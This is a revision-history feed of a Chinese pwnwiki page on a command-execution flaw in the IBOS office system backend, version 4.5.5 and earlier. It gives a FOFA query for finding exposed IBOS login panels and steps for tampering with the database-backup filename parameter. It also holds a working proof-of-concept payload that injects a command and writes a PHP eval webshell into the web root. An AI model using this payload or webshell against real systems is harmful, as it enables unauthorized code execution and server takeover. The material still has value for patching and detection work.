https://pwnwiki.com/index.php?action=history&feed=atom&title=IBOS%E9%85%B7%E8%BE%A6%E5%85%AC%E7%B3%BB%E7%B5%B1_%E5%BE%8C%E5%8F%B0%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E
IBOS酷辦公系統 後台命令執行漏洞 - Revision history
2026-04-25T08:38:56Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=IBOS%E9%85%B7%E8%BE%A6%E5%85%AC%E7%B3%BB%E7%B5%B1_%E5%BE%8C%E5%8F%B0%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&diff=1619&oldid=prev
Pwnwiki: Created page with "==FOFA== <pre> body="IBOS" && body="login-panel" </pre> ==利用條件== IBOS_4.5.5及以前的版本 需要具備後台登陸權限 ==漏洞利用== 登錄之後點擊管..."
2021-04-13T09:12:04Z
<p>Created page with "==FOFA== <pre> body="IBOS" && body="login-panel" </pre> ==利用條件== IBOS_4.5.5及以前的版本 需要具備後台登陸權限 ==漏洞利用== 登錄之後點擊管..."</p>
<p><b>New page</b></p><div>==FOFA==<br />
<pre><br />
body="IBOS" && body="login-panel"<br />
</pre><br />
<br />
==利用條件==<br />
IBOS_4.5.5及以前的版本<br />
<br />
需要具備後台登陸權限<br />
<br />
==漏洞利用==<br />
登錄之後點擊管理後台。<br />
<br />
在後台管理中找到通用設置，在數據庫的備份中選擇更多選項，數據備份方式選擇系統 MySQL Dump (Shell) 備份，然後提交。<br />
<br />
攔截此數據包，修改其中的filename參數,會在根目錄生成2021.php<br />
<br />
<br />
==POC==<br />
<pre><br />
2021%26echo "<?php eval($_REQUEST[8]);?>">2021%PATHEXT:~0,1%php%262021<br />
</pre><br />
<br />
==參考==<br />
https://xz.aliyun.com/t/9115</div>
Pwnwiki